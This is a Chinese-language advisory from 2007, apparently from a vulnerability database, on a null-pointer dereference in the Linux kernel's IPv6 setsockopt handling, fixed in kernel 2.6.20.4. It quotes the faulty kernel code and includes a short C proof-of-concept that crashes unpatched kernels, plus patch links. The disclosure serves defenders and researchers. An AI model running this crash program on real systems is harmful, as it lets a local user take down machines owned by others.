Linux Kernel ipv6_sockglue.c空指针引用漏洞
发布日期:2007-03-26
更新日期:2007-03-27
受影响系统:Linux kernel < 2.6.20.4
不受影响系统:Linux kernel 2.6.20.4
描述:
BUGTRAQ ID:
23142
Linux Kernel是开放源码操作系统Linux所使用的内核。
Linux Kernel存在空指针引用问题,本地攻击者可能利用此漏洞导致内核拒绝服务。
Linux内核net/ipv6/ipv6_sockglue.c文件的do_ipv6_setsockopt函数存在空指针引用。在417行,opt可能为空并被引用:
opt = ipv6_renew_options(sk, np->opt, optname, // opt = NULL
(struct ipv6_opt_hdr __user *)optval,
optlen);
if (IS_ERR(opt)) {
retv = PTR_ERR(opt);
break;
}
/* routing header option needs extra check */
if (optname == IPV6_RTHDR && opt->srcrt) { // Oops
本地攻击者可以利用这个漏洞导致Linux内核崩溃。
<*来源:ampana.gabriel (
ampana.gabriel@neuf.fr)
链接:
http://bugzilla.kernel.org/long_list.cgi?buglist=8155
http://www.kernel.org/pub/linux/kernel/v2.6/ChangeLog-2.6.20.4
http://secunia.com/advisories/24618/
*>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
#include <netinet/in.h>
int main(int argc, char **argv) {
int s, optval;
s = socket(AF_INET6, SOCK_STREAM, IPPROTO_TCP);
setsockopt(s, SOL_IPV6, IPV6_RTHDR, &optval, 0);
return 0;
}
建议:
厂商补丁:
Linux
-----
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:
http://www.kernel.org/pub/linux/kernel/v2.6/linux-2.6.20.4.tar.gz浏览次数:2956
严重程度:0(网友投票)